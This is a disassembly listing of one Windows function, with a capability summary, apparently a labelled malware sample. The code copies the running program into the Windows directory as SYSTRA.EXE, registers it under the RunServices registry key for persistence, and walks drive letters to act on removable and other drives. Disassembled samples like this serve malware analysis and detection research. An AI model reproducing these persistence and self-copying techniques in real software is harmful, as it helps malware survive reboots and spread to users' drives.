Function at 0x4046f0
Capabilities:
Copy file
Get common file path
Get disk information
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x638
mov eax, dword [0x422014]
push esi
push edi
mov dword [esp + 8], eax
mov ecx, 0x43
xor eax, eax
lea edi, [esp + 0x1c]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x18], 1
push ecx
push 0
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x43f644
push 0x43f438
lea edx, [esp + 0x24]
push 0x43f540
push edx
call fcn.00404130
add esp, 0x10
call fcn.00404370
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [esp + 0xc]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionZMXLIB1
push reloc.WSOCK32.dll_bind
call esi
test eax, eax
jne 0x40477c
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
xor eax, eax
pop esi
add esp, 0x638
ret
push ebx
xor bl, bl
mov dl, bl
push 0x43f644
push 0x43f438
add dl, 0x43
push 0x43f540
push edx
call fcn.00404510
add esp, 0x10
test eax, eax
jne 0x4047a7
inc bl
cmp bl, 0x18
jl 0x40477f
lea eax, [esp + 0x10]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRunServices
push reloc.WSOCK32.dll_bind
call esi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x4047ef
lea ecx, [esp + 0x14]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersion
push reloc.WSOCK32.dll_bind
call esi
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x10]
push edx
push str.runServices
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov ecx, dword [esp + 0x14]
push ecx
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [esp + 0x338]
push 0x104
push edx
call esi
lea eax, [esp + 0x338]
lea ecx, [esp + 0x130]
push eax
push str._sSysTra.EXE
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x1c]
lea eax, [esp + 0x540]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x14]
push eax
push ecx
push 0
push str.SystemTra
push edx
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40486e
lea eax, [esp + 0x130]
lea ecx, [esp + 0x540]
push eax
push ecx
call fcn.0040e4f0
add esp, 8
test eax, eax
je 0x4048a2
lea edi, [esp + 0x130]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x130]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push 1
push eax
mov eax, dword [esp + 0x20]
push str.SystemTra
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call ebx
lea edx, [esp + 0x338]
push 0x104
push edx
call esi
lea eax, [esp + 0x130]
push eax
push 0x43f644
push 0x43f438
push 0x43f540
call fcn.00404280
mov edi, str.SYSTRA.EXE
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x338]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push eax
and ecx, 3
lea eax, [esp + 0x33c]
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x134]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
xor bl, bl
mov dl, bl
lea eax, [esp + 0xc]
add dl, 0x43
push eax
mov byte [esp + 0x10], dl
call esi
cmp eax, 2
je 0x404941
lea ecx, [esp + 0xc]
push ecx
call esi
cmp eax, 4
jne 0x40494e
lea edx, [esp + 0xc]
push edx
call fcn.00404980
add esp, 4
cmp bl, 2
jle 0x40496c
lea eax, [esp + 0xc]
push eax
call esi
cmp eax, 3
jne 0x40496c
lea ecx, [esp + 0xc]
push ecx
call fcn.00404980
add esp, 4
inc bl
cmp bl, 0x18
jl 0x404920
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x638
ret